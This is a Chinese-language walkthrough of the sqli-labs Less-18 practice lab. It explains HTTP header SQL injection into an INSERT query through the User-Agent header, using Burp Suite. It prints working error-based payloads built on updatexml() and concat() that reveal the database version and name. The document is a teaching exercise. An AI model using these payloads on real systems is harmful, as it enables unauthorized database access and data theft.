sqli-labs的less-18 http头注入中insert语句注入的理解
less-18:
界面是这样的

登录成功之后是这样的

查看了一下源代码
发现两个比较眼熟的函数,其实这种靶场大概意思就是告诉你post传参的uname和passwd的注入都行不通
继续往下看:
这里是用到的insert 的注入,跟select语句的注入方式有很大不同
参考博客:https://blog.csdn.net/weixin_41472455/article/details/106113586
因为是http头注入,所以我们是用burp进行抓包然后在repeater重放进行注入,这里要注意的是uname和passwd的值都要是正确的否则是没有办法注入的
之前使用别人的payload也没有实现,去搜了一下,发现要正确的用户名和密码😅无语住啦
User-Agent: 1'
与select语句不太相同的是,这个好像更加注意语句的闭合,后面好像是不用注释掉
User-Agent: 1''
使用两个单引号闭合了,在单引号中间我们就可以进行注入,
必须要使用到的是一个报错函数updatexml()
User-Agent: 1' or updatexml(1,version(),0) or '
我这边建议是记住这个语句😅
可以看出这个显示不全
我们使用到concat函数,使用~连接
这也是为什么我们看到的很多payload中有0×7e的原因,如果你不用单引号给它括起来,那就用它的十六进制:
我是觉得直接用单引号括起来方便一点:
User-Agent: 1' or updatexml(1,concat('~',version()),0) or '
数据库名字:
User-Agent: 1' or updatexml(1,concat('~',database()),0) or '